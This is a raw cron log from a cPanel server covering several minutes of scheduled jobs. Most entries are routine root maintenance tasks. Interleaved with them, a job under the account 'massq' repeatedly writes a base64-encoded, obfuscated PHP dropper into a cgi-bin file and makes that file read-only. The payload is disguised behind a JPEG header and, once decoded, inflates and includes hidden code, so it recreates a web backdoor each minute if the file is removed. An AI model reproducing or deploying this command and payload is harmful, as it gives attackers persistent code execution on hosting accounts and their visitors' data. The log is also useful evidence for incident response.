Aug 31 14:25:01 server CROND[12187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:25:01 server CROND[12185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:25:01 server CROND[12191]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:26:01 server CROND[13048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:26:01 server CROND[13049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:26:01 server CROND[13050]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:27:01 server CROND[13427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:27:01 server CROND[13428]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 14:27:01 server CROND[13430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:27:01 server CROND[13429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:28:01 server CROND[13811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:28:01 server CROND[13813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:28:01 server CROND[13812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:29:01 server CROND[14202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:29:01 server CROND[14203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:29:01 server CROND[14204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:30:01 server CROND[14711]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:30:01 server CROND[14712]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 14:30:01 server CROND[14715]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 14:30:01 server CROND[14719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:30:01 server CROND[14717]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 14:30:01 server CROND[14720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:30:01 server CROND[14716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:30:01 server CROND[14718]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:31:01 server CROND[15551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:31:01 server CROND[15552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:31:01 server CROND[15553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:32:01 server CROND[15923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:32:01 server CROND[15924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:32:01 server CROND[15925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:33:01 server CROND[16401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:33:01 server CROND[16402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:33:01 server CROND[16403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:34:01 server CROND[16815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:34:01 server CROND[16816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:34:01 server CROND[16817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:35:01 server CROND[17396]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:35:01 server CROND[17397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:35:01 server CROND[17402]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 14:35:01 server CROND[17403]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 14:35:01 server CROND[17401]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:35:01 server CROND[17404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:35:01 server CROND[17406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:35:01 server CROND[17400]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 14:35:01 server CROND[17405]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 14:36:01 server CROND[18340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:36:01 server CROND[18341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:36:01 server CROND[18342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:37:01 server CROND[18723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:37:01 server CROND[18724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:37:01 server CROND[18725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
